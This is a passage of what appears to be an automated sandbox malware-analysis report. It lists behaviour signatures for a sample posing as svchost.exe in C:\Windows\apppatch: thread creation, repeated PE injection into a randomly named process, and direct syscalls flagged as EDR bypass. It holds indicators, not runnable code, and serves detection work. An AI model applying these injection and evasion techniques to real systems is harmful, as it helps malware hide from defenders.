Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1031360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1211360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: AC1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 8D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: E01360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 621360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: A41360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 801360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1191360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1031360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 931360Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtResumeThread: Direct from: 0x773836AC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtMapViewOfSection: Direct from: 0x77382D1C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtProtectVirtualMemory: Direct from: 0x77382F9C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetInformationThread: Direct from: 0x773763F9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtUnmapViewOfSection: Direct from: 0x77382D3C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtCreateMutant: Direct from: 0x773835CC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtNotifyChangeKey: Direct from: 0x77383C2C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetInformationProcess: Direct from: 0x77382C5C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQueryInformationProcess: Direct from: 0x77382C26
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtEnumerateKey: Direct from: 0x77382DBC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtAllocateVirtualMemory: Direct from: 0x77383C9C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtAllocateVirtualMemory: Direct from: 0x77382BFC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtWriteFile: Direct from: 0x77382AFC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQuerySystemInformation: Direct from: 0x77382DFC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtOpenSection: Direct from: 0x77382E0C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQueryVolumeInformationFile: Direct from: 0x77382F2C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetInformationFile: Direct from: 0x77382D0C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQuerySystemInformation: Direct from: 0x773848CC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtCreateKey: Direct from: 0x77382C6C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQueryAttributesFile: Direct from: 0x77382E6C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetInformationThread: Direct from: 0x77382B4C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQuerySystemInformation: Direct from: 0x1C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtTerminateThread: Direct from: 0x77382FCC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetInformationThread: Direct from: 0x77382ECCJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQueryInformationToken: Direct from: 0x77382CAC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtAllocateVirtualMemory: Direct from: 0x77382B9C
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtQueryValueKey: Direct from: 0x77382BEC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtDeviceIoControlFile: Direct from: 0x77382AEC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtCreateFile: Direct from: 0x77382FEC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtOpenFile: Direct from: 0x77382DCC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtEnumerateValueKey: Direct from: 0x77382BAC
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeNtSetTimerEx: Direct from: 0x77377B2E
Injects a PE file into a foreign processes
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 16E2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FA2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2922000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2792000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2652000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 5E2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2B92000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D12000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2792000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BD2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2202000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2472000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13D2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2862000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CA2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2472000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1562000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E52000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AD2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2232000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2152000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F32000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9F2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F22000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26D2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DF2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2742000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1072000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 29D2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C32000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11F2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28E2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DD2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EE2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DC2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1322000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 902000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B92000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1622000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 902000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 952000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D42000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14A2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 762000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1312000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C42000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 822000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A72000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1042000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1502000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1422000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1552000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 772000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DB2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1462000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10F2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A12000 value starts with: 4D5AJump to behavior
